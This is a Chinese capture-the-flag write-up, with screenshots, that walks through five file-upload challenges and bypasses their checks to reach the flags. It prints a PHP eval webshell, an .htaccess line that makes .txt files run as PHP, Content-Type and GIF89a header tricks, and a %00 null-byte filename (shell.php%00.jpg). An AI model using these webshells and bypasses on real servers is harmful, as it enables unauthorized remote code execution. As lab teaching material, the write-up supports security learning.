无验证
打开题目
![](https://img-blog.csdnimg.cn/img_convert/7f1032222a7e448c700600f12b714eaa.png)
打开题目环境
![](https://img-blog.csdnimg.cn/img_convert/8bfa06ca6a732b488eaad6fb5c43a9e4.png)
题目提示无限制,直接上传一句话木马
<?php @eval($_POST['shell']);?>
![](https://img-blog.csdnimg.cn/img_convert/801cd6e4fdd409b2b649e44b0e51dc48.png)
上传成功,连接蚁剑
![](https://img-blog.csdnimg.cn/img_convert/003faef6001b242015d4b898d563a403.png)
添加url地址和密码,密码就是一句木马中中括号里的shell,这里要注意的是url地址后记得添加上传文件相对路径
![](https://img-blog.csdnimg.cn/img_convert/d366eab057a703b33bfe524a6f65e392.png)
连接成功
![](https://img-blog.csdnimg.cn/img_convert/7c0c0ff117ecaa94ea41fe903027bcb4.png)
在html目录中发现flag文件
![](https://img-blog.csdnimg.cn/img_convert/51f619b7f3c1338463559f01cc1c8899.png)
打开flag文件得到flag
![](https://img-blog.csdnimg.cn/img_convert/137e3fa4c59d3d8b83e5a34eda32ec1b.png)
提交flag
前端验证
打开题目,上传一个php文件,发现不允许上传,查看源代码发现只允许上传jpg png gif三种文件
![](https://img-blog.csdnimg.cn/img_convert/d74c8e41d241e6bf9335165422e03c18.png)
我们就上传一个一句话木马的png文件
![](https://img-blog.csdnimg.cn/img_convert/efbcbb423269c9712a4f40e14a6182d2.png)
然后进行抓包
![](https://img-blog.csdnimg.cn/img_convert/b472de4fa61d0888aeb1e0cf4c626ade.png)
将文件改为php文件
![](https://img-blog.csdnimg.cn/img_convert/63202848e9a6d4ad84aee5bfbba70e3c.png)
Forward
![](https://img-blog.csdnimg.cn/img_convert/fc9a84419b8f1acbd64b9a2ebc772759.png)
连接蚁剑,发现flag
![](https://img-blog.csdnimg.cn/img_convert/0774f938b66eb8c505d32c40d0bc055e.png)
打开得到flag
![](https://img-blog.csdnimg.cn/img_convert/7392309cc72e148abe0330bdf7aa957c.png)
.htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能,在这里我们就是通过htaccess文件改变文件拓展名
首先我们上传一个一句话木马的txt文件
![](https://img-blog.csdnimg.cn/img_convert/82724dcda795b22482a7f5121fe91054.png)
然后就将htaccess文件上传(注意:这里的文件名就是.htaccess,如果你改成1.htaccess或者其他的都会出现问题,具体原因我也不知道。)
但是Windows文件文件名不能为空,我们就用cmd命令中的rename命令进行更改
![](https://img-blog.csdnimg.cn/img_convert/f6a6a554eb7c2ae1a92bd80e4ab94766.png)
.htaccess文件中的内容如下:AddType application/x-httpd-php .txt #将所有的.txt文件解析为php
接下来连接蚁剑
![](https://img-blog.csdnimg.cn/img_convert/a07c148782f90f3fe71ee588052ab5a7.png)
找到flag文件,得到flag
![](https://img-blog.csdnimg.cn/img_convert/ee2a136d576b87638fa3fa4b81e5ec55.png)
MIME绕过
打开题目,还是先尝试能不能直接上传php文件,发现不行
![](https://img-blog.csdnimg.cn/img_convert/9407fc684cd0d5a0f41d6f4fb6568054.png)
这里我就直接改为上传jpg文件。上传成功,bp抓包。
![](https://img-blog.csdnimg.cn/img_convert/020b44a8436501a760f5997dd5cbeb96.png)
修改数据包,上传成功后连接蚁剑(这里我们由于一开始上传的是jpg文件,就需要将filename的后缀改为php,其他格式文件如此。但是如果一开始就上传php文件进行抓包,我们就要更改上传所检测的部分,也就是Content-Type)
![](https://img-blog.csdnimg.cn/img_convert/ceb5ae64100b89ac36f8ea76d9e5be60.png)
![](https://img-blog.csdnimg.cn/img_convert/7361a8a81525c1ae4ed11286e82df7d6.png)
找出flag
![](https://img-blog.csdnimg.cn/img_convert/2dab46ef09215b9122729fe5bb72f06f.png)
文件头检查
头文件检查不仅需要绕过mime,还会检查上传文件的文件头是否符合要求,因此我们需要在一张图片的结尾添加一句话木马,同时在开头加入可以被识别的代码,如GIF89a
打开题目,上传文件,题目只允许上传jpeg,jpg,png,gif四类文件
![](https://img-blog.csdnimg.cn/img_convert/b82d4c8d47908adab70a49839fbd74a3.png)
上传成功,bp抓包
![](https://img-blog.csdnimg.cn/img_convert/476f6d07c90a049b58278cd7f7b0b221.png)
改为php后上传,连接蚁剑,找到flag'
![](https://img-blog.csdnimg.cn/img_convert/6bae5dd3fadc0fd5a30f15f3a99b4f4e.png)
00截断
打开题目,查看源码,发现题目有过滤
![](https://img-blog.csdnimg.cn/img_convert/d7b4cece8458f98bd5f8a9cfc125c875.png)
上传一个文件
![](https://img-blog.csdnimg.cn/img_convert/45003897dff80a50da5127dbe8e85d2f.png)
bp抓包,更改以下部分
![](https://img-blog.csdnimg.cn/img_convert/afac5e24887193ec0c1f56ee47fc3ff0.png)
将shell.php.jpg改为shell.php%00.jpg
%00后边的部分就会被截断失效,以php的形式上传,另外还确定了上传地址,然后直接连接蚁剑
![](https://img-blog.csdnimg.cn/img_convert/9a7d4ef5ecd90e63be14123ca30ac538.png)
找出flag文件得到flag
![](https://img-blog.csdnimg.cn/img_convert/d41248e9da6066b5288e995554a48da8.png)